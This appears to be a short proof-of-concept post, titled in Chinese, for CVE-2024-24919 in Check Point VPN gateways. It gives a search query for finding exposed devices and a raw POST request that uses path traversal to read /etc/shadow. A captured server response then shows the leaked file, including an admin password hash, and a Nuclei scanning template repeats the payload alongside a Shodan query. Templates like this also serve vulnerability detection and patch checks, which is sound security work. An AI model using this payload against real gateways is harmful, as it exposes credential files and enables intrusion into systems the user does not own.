CVE-2024-24919漏洞复现 Poc

app="Check_Point-SSL-Network-Extender"

POST /clients/MyCRL HTTP/1.1Host: <redacted>Content-Length: 39
aCSHELL/../../../../../../../etc/shadow

HTTP/1.0 200 OKDate: Thu, 30 May 2024 01:38:29 GMTServer: Check Point SVN foundationContent-Type: text/htmlX-UA-Compatible: IE=EmulateIE7Connection: closeX-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 505
admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::monitor:*:19872:0:99999:8:::root:*:19872:0:99999:7:::nobody:*:19872:0:99999:7:::postfix:*:19872:0:99999:7:::rpm:!!:19872:0:99999:7:::shutdown:*:19872:0:99999:7:::pcap:!!:19872:0:99999:7:::halt:*:19872:0:99999:7:::cp_postgres:*:19872:0:99999:7:::cpep_user:*:19872:0:99999:7:::vcsa:!!:19872:0:99999:7:::_nonlocl:*:19872:0:99999:7:::sshd:*:19872:0:99999:7:::

https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

https://support.checkpoint.com/results/sk/sk182336

id: CVE-2024-24919
info:  name: Check Point Quantum Gateway - Information Disclosure  author: johnk3r  severity: high  description: |    CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade.  reference:    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/    - https://support.checkpoint.com/results/sk/sk182337  metadata:    max-request: 1    vendor: checkpoint    product: quantum_security_gateway    cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*    shodan-query: html:"Check Point SSL Network"    verified: true  tags: cve,cve2024,checkpoint,lfi
http:  - raw:      - |        POST /clients/MyCRL HTTP/1.1        Host: {{Hostname}}
        aCSHELL/../../../../../../../etc/shadow
    matchers-condition: and    matchers:      - type: regex        part: body        regex:          - "root:"          - "nobody:"        condition: and
      - type: status        status:          - 200# digest: 4a0a0047304502204c9518dd059877a34844f2e2842d83fd41e2ad0697ab8806694bb9de593e5d4902210097a7f34cde999f290f86e0ea7544cfc1279e367211e05a8f2944fd8c46d352f6:922c64590222798bb761d5b6d8e72950